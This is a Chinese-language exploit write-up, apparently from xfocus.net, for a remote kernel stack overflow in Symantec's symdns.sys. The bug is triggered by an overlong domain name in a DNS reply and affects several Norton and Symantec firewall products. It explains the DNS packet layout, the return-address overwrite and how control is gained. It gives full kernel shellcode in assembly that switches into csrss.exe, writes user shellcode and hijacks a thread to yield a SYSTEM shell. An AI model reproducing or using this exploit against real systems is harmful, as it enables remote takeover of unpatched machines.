作者:sobeit 來自:https://www.xfocus.net
這個(gè)漏洞發(fā)生在symdns.sys中,當(dāng)處理dns答復(fù)時(shí),由于未檢驗(yàn)總域名長度,導(dǎo)致可以輸入一超長域名導(dǎo)致溢出,溢出發(fā)生在ring0、irql = 2(dispatch_level)、 進(jìn)程pid為0(idle進(jìn)程)的環(huán)境下。
一個(gè)dns報(bào)文格式如下:
"/xeb/x0b" //報(bào)文id,可以隨意設(shè)置,但在這個(gè)漏洞里是別有用途的,后面會(huì)說到
"/x80/x00" //報(bào)文flag,15位置1表示這是一個(gè)答復(fù)報(bào)文
"/x00/x01" //問題數(shù)量
"/x00/x01" //答復(fù)數(shù)量
"/xxx/xxx" //授權(quán)資源記錄數(shù),在這里不重要,隨便設(shè)置
"/xxx/xxx" //格外信息資源記錄數(shù),在這里不重要,隨便設(shè)置
以上部分為dns報(bào)文頭
"/xxx/xxx/x..." //域名,格式為每個(gè)分段域名長度+域名內(nèi)容,比如www.buaa.edu.cn就是
/x03/x77/x77/x77/x04/x62/x75/x61/x61/x03/x65/x64/x75/x02/x63/x6e/x00
w w w b u a a e d u c n
/x00表示到了末尾。處理的時(shí)候會(huì)把那長度記錄數(shù)換成0x2e,就是".",就完成了處理。
在symdns.sys中處理傳入域名的函數(shù)位于symdns.sys基地址+0xa76處,這個(gè)函數(shù)在堆棧里分配了足夠的空間(事實(shí)上,最后shellcode的執(zhí)行并不是在堆棧中執(zhí)行,而是在非分頁池中執(zhí)行)。傳入的域名有最大長度限制,不能超過0x40個(gè)字節(jié),所以我每段shellcode長度都是0x3f(63)個(gè)字節(jié)。在覆蓋了532個(gè)字節(jié)后,覆蓋了第二個(gè)調(diào)用的返回地址,至于為什么沒覆蓋第一個(gè)調(diào)用的返回地址我也不太清楚。這個(gè)漏洞有個(gè)特點(diǎn),就是在堆棧中二次處理傳入的域名,導(dǎo)致堆棧中shellcode后半部分面目全非、慘不忍睹。但很幸運(yùn)的是在我們覆蓋的返回地址所在的esp+0xc處保存有我們整個(gè)dns報(bào)文(包括dns報(bào)文頭)的地址,是一個(gè)在非分頁池的地址,
74816d74 4c816c9b 816d002e 816c9e34
|_____esp指向這 |_______這個(gè)就是非分頁池的地址
現(xiàn)在大家應(yīng)該知道該干啥了吧?雖然在內(nèi)核里沒有固定的jmp [esp+0xc]、 call [esp+0xc]這樣的地址,但我們可以變通一下,使用諸如pop/pop/pop/ret這樣的指令組合,機(jī)器的控制權(quán)就交到我們手上了。不過這3條pop指令里最好不要帶有pop ebp,不然會(huì)莫名其妙的返回到一個(gè)奇怪的地址。在strstr函數(shù)的最后有兩個(gè)pop/pop/pop/ret的組合挺合適。現(xiàn)在明白開頭那個(gè)報(bào)文id的作用了吧?/xeb/x0b是一個(gè)直接跳轉(zhuǎn)的機(jī)器指令,跳過一開始沒用的dns報(bào)文頭和第一段shellcode長度計(jì)數(shù)字節(jié)。flashsky在會(huì)刊里說要跳過長度計(jì)數(shù)字節(jié),但0x3f對(duì)應(yīng)的指令是aas,對(duì)eax進(jìn)行ascii調(diào)整,所以在一般不影響eax和標(biāo)志的情況下可以把這個(gè)0x3f也算作shellcode的一部分,可以省下不少字節(jié)^_^。
現(xiàn)在當(dāng)前環(huán)境是0號(hào)進(jìn)程,要把進(jìn)程地址空間切到其他進(jìn)程就得先獲得那個(gè)進(jìn)程的eprocess地址。0號(hào)進(jìn)程很特別,就是該進(jìn)程基本不掛在所有進(jìn)程的鏈表上,比如說activeprocesslinks、sessionprocesslinks、workingsetexpansionlinks,正常情況來說只能枚舉線程的waitlisthead來枚舉所有線程并判斷進(jìn)程,這樣很麻煩而已代碼很長,但天無絕人之路,在kpcr+0x55c(+55c struct _kthread *npxthread)處保存有一個(gè)8號(hào)進(jìn)程的一個(gè)線程ethread地址,由ethread+0x44處可以獲得該線程所屬eprocess的地址,而且8號(hào)進(jìn)程是掛在除sessionprocesslinks之外的其它鏈表上的。下一步是切換進(jìn)程地址空間,從目標(biāo)進(jìn)程eprocess+0x18處取出該進(jìn)程頁目錄的物理地址并將當(dāng)前cr3寄存器修改為該值既可(我一開始還修改了任務(wù)段ktss中的cr3也為該值,結(jié)果發(fā)現(xiàn)這不是必須的)。然后在該進(jìn)程內(nèi)選擇一個(gè)合適的線程來運(yùn)行我們的用戶態(tài)shellcode,這個(gè)選擇很重要,因?yàn)楫?dāng)前irql = 2,任何訪問缺頁的地址都將導(dǎo)致irql_not_less_or_equal藍(lán)屏錯(cuò)誤,因?yàn)槿表摃?huì)導(dǎo)致頁面i/o,最后會(huì)在對(duì)象上等待,這違背了不能在irql = 2等待對(duì)象的規(guī)則。按照一個(gè)標(biāo)準(zhǔn)的5調(diào)度狀態(tài)模型的操作系統(tǒng),當(dāng)一個(gè)線程等待過久就會(huì)導(dǎo)致該線程的內(nèi)核堆棧被換出內(nèi)存,這樣的線程我們是不能用的。所以我們需要判斷ethread+=0x11e(+11e byte kernelstackresident)是否為true。這又關(guān)系到究竟該選擇哪個(gè)系統(tǒng)進(jìn)程,選擇系統(tǒng)進(jìn)程這樣返回的shell是system的權(quán)限,該進(jìn)程必須是個(gè)活躍的進(jìn)程,才能保證每時(shí)每刻都有未被換出內(nèi)存的線程。winlogon.exe是肯定不行的,因?yàn)樵诖蠖嗲闆r下這是一個(gè)0工作集進(jìn)程。在lsass.exe、smss.exe、csrss.exe這3個(gè)進(jìn)程里我最后選擇了csrss.exe,因?yàn)閣in32的子系統(tǒng)無論怎樣都應(yīng)該閑不住吧:),事實(shí)也證明選擇這個(gè)進(jìn)程基本都可以找到合適線程。枚舉一個(gè)進(jìn)程的線程可以在eprocess+0x50處取鏈表頭,該鏈表鏈住了該進(jìn)程的所有線程,鏈表位置在ethread+0x1a4處:
struct _eprocess (sizeof=648)
+000 struct _kprocess pcb
+050 struct _list_entry threadlisthead
+050 struct _list_entry *flink
+054 struct _list_entry *blink
struct _ethread (sizeof=584)
+000 struct _kthread tcb
+1a4 struct _list_entry threadlistentry
+1a4 struct _list_entry *flink
+1a8 struct _list_entry *blink
或者eprocess+0x270處取鏈表頭,鏈表位置在ethread+0x240處:
struct _eprocess (sizeof=648)
+270 struct _list_entry threadlisthead
+270 struct _list_entry *flink
+274 struct _list_entry *blink
struct _ethread (sizeof=584)
+240 struct _list_entry threadlistentry
+240 struct _list_entry *flink
+244 struct _list_entry *blink
剩下的就是在該進(jìn)程地址空間內(nèi)分配虛擬地址,鎖定,并拷貝shellcode過去,依次調(diào)用api為:zwopenprocess(這里要注意,如果沒改變cr3的話這個(gè)調(diào)用會(huì)導(dǎo)致藍(lán)屏,因?yàn)榈刂房臻g不符)->zwallocatevirtualmemory->zwlockvirtualmemory->zwwritevirtualmemory,為了通用性我用mov eax, api number; int 2e這樣的底層接口來調(diào)用api。在調(diào)用zwwritevirtualmemory之前我們得先修改該線程下次要執(zhí)行的eip,它是保存在ktrap_frame+0x68處,把它修改為我們分配的地址。ktrap_frame在線程堆棧底-x29c的地方,ethread+0x128直接指向該地址。記得將原來的eip保存在我們的用戶態(tài)shellcode中,類似push 0x12345678; ret這樣的格式,代碼就會(huì)返回12345678的地址,所以在內(nèi)存中就是/x68/x78/x56/x34/x12/xc3,覆蓋那個(gè)12345678就行了,在執(zhí)行完我們的功能代碼后線程會(huì)恢復(fù)正常執(zhí)行。
最后一段是一些固定的針對(duì)該漏洞的特征返回,恢復(fù)一些寄存器值,把esp指向返回地址并讓ebp恢復(fù)正常。這里我跳過了所有剩下的在symdns.sys的調(diào)用,因?yàn)槟菢訒?huì)從堆棧中取值,而堆棧值很多都被我們改了,所以我直接返回到tcpip!udpdeliver處的調(diào)用,返回這里有個(gè)好處,就是它完全不管你處理了什么、怎么處理,它只管檢測(cè)返回值,很符合我們的要求,呵呵。
這個(gè)shellcode大概只有3/4的成功率,因?yàn)樵谟行┣闆r下我們的dns報(bào)文的地址不附加在esp+0xc處,還有有時(shí)會(huì)碰到進(jìn)程所有線程都被換出了內(nèi)存,還有一定的小概率會(huì)發(fā)生ndis死鎖-_-有時(shí)候rp爆發(fā)時(shí)一天都沒啥問題,有時(shí)虛擬機(jī)狂藍(lán)屏。。。所以我的利用方法還不很成熟,還希望大家一起來討論完善。有關(guān)內(nèi)核溢出里最大的問題估計(jì)就是缺頁的問題了,由于irql = 2下不能換頁,所以有些情況下很可能有些關(guān)鍵的地方訪問不了。一些變通的方法可以使用諸如work item,這可以在irql = 2下調(diào)用,然后由系統(tǒng)工作者線程來替我們完成工作。這都是些改進(jìn)設(shè)想。搞定了安全返回的方法,現(xiàn)在正在ko非安全返回,估計(jì)也不是很難,但就是估計(jì)shellcode會(huì)大很多。
峰會(huì)上由于flashsky大牛不肯透露源代碼,所以只好自己動(dòng)手,豐衣足食了。這段時(shí)間由于得復(fù)習(xí)補(bǔ)考(上學(xué)期一不小心掛了4門#_#),所以拖了這么久。其實(shí)代碼很早就寫好了,就是懶得寫這篇文檔。今早終于下定決心花了一上午完成了這篇文檔,估計(jì)難免有什么錯(cuò)誤,望大家指出。
shellcode由內(nèi)核shellcode和用戶shellcode組成,內(nèi)核shellcode負(fù)責(zé)返回并執(zhí)行用戶shellcode,用戶shellcode則是普通的功能,注意得加入穿防火墻的代碼就行。下面是內(nèi)核shellcode代碼,轉(zhuǎn)成機(jī)器碼只有260多個(gè)字節(jié),基本不算太大:):
__declspec(naked) justtest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
findprocess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp findprocess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
findthread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp findthread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
zerostack:
stosd
loop zerostack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
test eax, eax
jnz failed
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
test eax, eax
jnz failed
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
test eax, eax
jnz failed
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]
mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x14
failed:
add esp, 0xec
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
ps:存在該漏洞的symantec產(chǎn)品有:
* - symantec norton internet security 2002
* - symantec norton internet security 2003
* - symantec norton internet security 2004
* - symantec norton internet security professional 2002
* - symantec norton internet security professional 2003
* - symantec norton internet security professional 2004
* - symantec norton personal firewall 2002
* - symantec norton personal firewall 2003
* - symantec norton personal firewall 2004
* - symantec client firewall 5.01, 5.1.1
* - symantec client security 1.0, 1.1, 2.0(scf 7.1)
* - symantec norton antispam 2004
該代碼在windows2000 pro build 2195 sp4的虛擬機(jī)上測(cè)試通過,winxp原理一樣。